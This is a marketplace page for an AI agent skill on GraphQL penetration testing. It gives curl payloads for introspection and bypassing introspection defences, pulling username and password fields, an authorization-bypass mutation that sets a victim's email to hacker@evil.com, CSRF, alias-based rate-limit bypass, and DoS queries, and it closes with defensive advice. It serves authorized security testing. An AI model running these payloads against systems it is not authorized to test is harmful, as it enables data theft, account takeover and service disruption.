# GRAPHQL Pentest

> Security testing for GraphQL endpoints. Use this skill whenever you need to test GraphQL APIs for vulnerabilities, enumerate schemas, detect exposed endpoints, or assess security configurations. Trigger this skill for any GraphQL security assessment, penetration testing, or API security review involving GraphQL endpoints.

- Skill: `abelrguezr/graphql-pentest` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/graphql-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/graphql-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/graphql-pentest

---


# GraphQL Security Testing

A comprehensive skill for security testing GraphQL endpoints, from initial discovery through vulnerability assessment.

## Quick Start

```bash
# Detect if a URL hosts GraphQL
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__typename}"}' https://target.com/graphql

# Expected response for GraphQL endpoint:
# {"data": {"__typename": "Query"}}
```

## Workflow

### 1. Discovery and Fingerprinting

**Find GraphQL endpoints** by testing common paths:
- `/graphql`
- `/graphiql`
- `/graphql.php`
- `/graphql/console`
- `/api`
- `/api/graphql`
- `/graphql/api`
- `/graphql/graphql`

**Fingerprint the GraphQL engine** using [graphw00f](https://github.com/dolevf/graphw00f):
```bash
pip install graphw00f
graphw00f https://target.com/graphql
```

This identifies the backend (Apollo, GraphQL-Java, async-graphql, etc.) which helps prioritize known vulnerabilities.

### 2. Introspection Enumeration

**Check if introspection is enabled**:
```bash
# Basic schema query
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name}}}"}' https://target.com/graphql

# Full schema with fields and arguments
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}"}' https://target.com/graphql
```

**Use the bundled script** for automated introspection:
```bash
./scripts/graphql-introspect.sh https://target.com/graphql
```

**Visualize the schema** with [GraphQL Voyager](https://github.com/APIs-guru/graphql-voyager) if introspection is enabled.

### 3. Test Error Handling

Check if errors leak sensitive information:
```bash
# Empty query
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{}"}' https://target.com/graphql

# Invalid field
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{thisdefinitelydoesnotexist}"}' https://target.com/graphql
```

Verbose errors can reveal schema details, field names, and internal logic.

### 4. Query Enumeration

**Identify queryable objects** from the schema. Look for `queryType` in introspection results.

**Extract data** by querying exposed fields:
```bash
# Query a simple object
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{flags{name,value}}"}' https://target.com/graphql

# Query with arguments (brute force IDs if needed)
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{user(uid:1){username,password}}"}' https://target.com/graphql
```

**Search for empty string bypass** - some APIs dump all data when searching with empty strings:
```bash
# If you can search by string field
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{theusers(description:""){username,password}}"}' https://target.com/graphql
```

### 5. Mutation Testing

**Find mutations** in the schema (look for `mutationType` in introspection).

**Test mutation operations**:
```bash
# Example: add a movie
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "mutation{addMovie(name:\"Test\",rating:\"5.0/10\",releaseYear:2024){name,rating}}"}' https://target.com/graphql
```

**Test authorization bypass** - try modifying other users' data:
```bash
# Attempt to update another user's profile
curl -X POST -H "Content-Type: application/json" \
  -d '{"operationName":"updateProfile","variables":{"username":"victim","data":{"email":"hacker@evil.com"}},"query":"mutation updateProfile($username:String!,$data:ProfileInput!){updateProfile(username:$username,data:$data){id}}"}' https://target.com/graphql
```

### 6. Bypass Introspection Defenses

If introspection is blocked, try these bypasses:

**Add whitespace/newlines after `__schema`**:
```bash
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "query{__schema\n{queryType{name}}}"}' https://target.com/graphql
```

**Try GET requests**:
```bash
curl -s "https://target.com/graphql?query={__schema{types{name}}}"
```

**Try form-urlencoded POST**:
```bash
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'query={__schema{types{name}}}' https://target.com/graphql
```

**Use schema reconstruction tools**:
- [Clairvoyance](https://github.com/nikitastupin/clairvoyance) - Reconstructs schema from error messages
- [GraphQuail](https://github.com/forcesunseen/graphquail) - Burp extension that builds schema from observed queries
- [InQL](https://github.com/doyensec/inql) - Advanced GraphQL testing with schema bruteforcing

### 7. Test for Common Vulnerabilities

**CSRF** - Test if form-urlencoded POST is accepted without CSRF tokens:
```bash
# Create a CSRF test page
cat > csrf_test.html << 'EOF'
<form action="https://target.com/graphql" method="POST">
  <input type="hidden" name="query" value='{"mutation":"addMovie(name:\"Hacked\",rating:\"1/10\")"}'>
</form>
EOF
```

**Rate limit bypass with aliases**:
```bash
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "query{check1:isValidDiscount(code:1){valid}check2:isValidDiscount(code:2){valid}check3:isValidDiscount(code:3){valid}}"}' https://target.com/graphql
```

**Batching attacks** - Send multiple queries in one request:
```bash
curl -X POST -H "Content-Type: application/json" \
  -d '[{"query":"{__typename}"},{"query":"{__typename}"},{"query":"{__typename}"}]' https://target.com/graphql
```

### 8. DoS Testing

Use the bundled script to generate DoS payloads:
```bash
./scripts/graphql-dos-payloads.sh
```

**Alias overloading** - Repeat fields with aliases:
```bash
# Generates 100+ aliases for the same field
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{a1:__typename a2:__typename a3:__typename ...}"}' https://target.com/graphql
```

**Directive overloading** - Repeat directives:
```bash
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__typename @include(if:true) @include(if:true) @include(if:true)}"}' https://target.com/graphql
```

**Field duplication** - Repeat the same field:
```bash
curl -X POST -H "Content-Type: application/json" \
  -d '{"query": "{__typename __typename __typename ...}"}' https://target.com/graphql
```

### 9. WebSocket Testing

Check for GraphQL over WebSocket which might bypass WAF:
```javascript
// Test WebSocket connection
ws = new WebSocket("wss://target.com/graphql", "graphql-ws")
ws.onopen = function() {
  ws.send(JSON.stringify({
    type: "GQL.START",
    id: "1",
    payload: {
      query: "{__schema{types{name}}}"}
  }))
}
```

### 10. Check for Known CVEs

After fingerprinting, check for known vulnerabilities:

| CVE | Affected | Test |
|-----|----------|------|
| CVE-2024-47614 | async-graphql < 7.0.10 | Directive overload with `@include` |
| CVE-2024-40094 | graphql-java < 19.11 | Recursive fragment bypass |
| CVE-2023-23684 | WPGraphQL ≤ 1.14.5 | SSRF via `createMediaItem` mutation |

## Tools

**Essential tools for GraphQL testing:**

| Tool | Purpose |
|------|--------|
| [graphw00f](https://github.com/dolevf/graphw00f) | Engine fingerprinting |
| [graphql-cop](https://github.com/dolevf/graphql-cop) | Misconfiguration testing |
| [InQL](https://github.com/doyensec/inql) | Advanced testing, schema bruteforcing |
| [GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) | Schema enumeration, auth testing |
| [batchql](https://github.com/assetnote/batchql) | Batch query testing |
| [clairvoyance](https://github.com/nikitastupin/clairvoyance) | Schema reconstruction |
| [GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) | CLI client with attack automation |

## Defensive Recommendations

**For developers securing GraphQL endpoints:**

1. **Disable introspection** in production
2. **Implement rate limiting** per IP and per user
3. **Use CSRF tokens** for all mutations
4. **Validate and sanitize** all inputs
5. **Implement query depth/complexity limits**
6. **Use graphql-armor** middleware for automatic protection
7. **Enable proper authentication and authorization**
8. **Log and monitor** for unusual query patterns

## References

- [GraphQL Threat Matrix](https://github.com/nicholasaleks/graphql-threat-matrix)
- [PortSwigger GraphQL Security](https://portswigger.net/web-security/graphql)
- [PayloadsAllTheThings - GraphQL](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [graphql-armor](https://github.com/escape-tech/graphql-armor) - Defensive middleware

